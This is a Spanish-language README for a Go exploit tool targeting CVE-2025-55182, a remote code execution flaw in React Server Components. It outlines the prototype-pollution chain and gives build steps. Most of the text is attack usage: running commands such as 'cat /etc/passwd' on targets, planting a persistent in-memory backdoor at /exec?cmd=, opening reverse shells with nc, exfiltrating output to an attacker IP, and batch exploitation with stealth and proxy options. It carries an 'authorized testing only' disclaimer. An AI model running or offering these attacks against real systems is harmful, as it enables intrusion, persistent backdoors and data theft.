Prueba de concepto basada en Go para CVE-2025-55182, una RCE crítica en React Server Components. Incluye verificación de vulnerabilidad, ejecución de comandos, inyección de shell en memoria, reverse shell, escaneo por lotes y soporte de proxy para pruebas de seguridad autorizadas.
⚠️ SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS ⚠️
CVE-2025-55182 (también conocido como CVE-2025-66478) es una vulnerabilidad crítica de Ejecución Remota de Código en los Componentes del Servidor de React (protocolo Flight). Esta herramienta es una implementación en Go del PoC para investigación de seguridad y pruebas de penetración autorizadas.
Versiones afectadas:
El exploit se aprovecha de la contaminación del prototipo en la deserialización del protocolo Flight:
$@ para obtener una referencia a un ChunkChunk.prototype.then como la propiedad then del objeto raízRESOLVED_MODEL para llamar a initializeModelChunk con un chunk falso controladoresponse._formData.get con la carga útil del atacanteresponse._formData.get en el constructor Function para la ejecución arbitraria de código/exec?cmd=Descarga la última versión para tu plataforma desde GitHub Releases.
Binarios disponibles:
# Clonar repositorio
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Compilar para la plataforma actual
go build -o cve-2025-55182 .
# O compilar para todas las plataformas
chmod +x build.sh
./build.sh
Después de ejecutar ./build.sh, los binarios estarán disponibles en el directorio build/ para todas las plataformas compatibles.
# Verificar vulnerabilidad en un objetivo
./cve-2025-55182 -u http://target:3000 --check
# Detectar versión de Next.js
./cve-2025-55182 -u http://target:3000 --version-check
# Ejecutar comando con salida
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# Inyectar shell en memoria (primero comprueba si ya está instalada)
./cve-2025-55182 -u http://target:3000 --memshell
# Probar si la shell en memoria está activa
./cve-2025-55182 -u http://target:3000 --test-shell
# Ejecutar comando a través de la shell en memoria
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# Después de la inyección, también puedes usar curl directamente:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# Añadir cabeceras personalizadas (se puede usar varias veces)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Omitir verificación de certificado SSL (para certificados autofirmados)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# Combinar con otras opciones
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 con autenticación
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 sin autenticación
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# Proxy SOCKS4
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# Proxy HTTP
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# Verificar por lotes desde archivo
./cve-2025-55182 --urls targets.txt --check
# Escaneo por lotes con salida JSON
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# Escaneo por lotes con múltiples hilos y modo sigiloso
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# Guardar objetivos vulnerables en un archivo
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# Inyección de shell en memoria por lotes
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# Ejecución de comandos por lotes
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# Shell inversa (mkfifo + nc, funciona en Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# Iniciar listener en la máquina atacante primero:
nc -lvnp 4444
# Exfiltrar salida de comando mediante HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Iniciar listener: nc -lvnp 4444
| Opción | Descripción |
|---|---|
-u, --url | URL objetivo (ej. http://localhost:3000) |
-f, --file | Archivo que contiene las URLs objetivo (una por línea) |
--urls | Alias de -f/--file |
-o, --output | Archivo de salida para los objetivos vulnerables |
--json | Mostrar resultados en formato JSON |
-c, --command | Comando a ejecutar (con salida) |
--check | Verificar vulnerabilidad |
--version-check | Detectar versión de Next.js |
--proxy | URL del proxy (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | Cabecera personalizada (se puede usar varias veces) |
-k, --insecure | Omitir verificación de certificado SSL/TLS |
--stealth | Modo sigiloso: browser, crawler, security (por defecto: browser) |
--delay | Retraso entre peticiones (ej. 2s, 500ms) |
--variants | Usar múltiples variantes de payload para verificación exhaustiva |
--memshell | Inyectar shell en memoria (puerta trasera persistente) |
--test-shell | Probar si la shell en memoria está activa |
--shell-exec | Ejecutar comando a través de la shell en memoria |
--revshell IP PORT | Establecer shell inversa |
--exfil CMD IP PORT | Ejecutar comando y enviar salida mediante POST |
-t, --timeout | Tiempo de espera de la petición en segundos (por defecto: 15) |
--threads | Número de hilos concurrentes (por defecto: 10) |
--workers | Alias de --threads |
--nocolor | Deshabilitar salida con colores (para Windows/tuberías) |
-h, --help | Mostrar mensaje de ayuda |
-v, --version | Mostrar versión |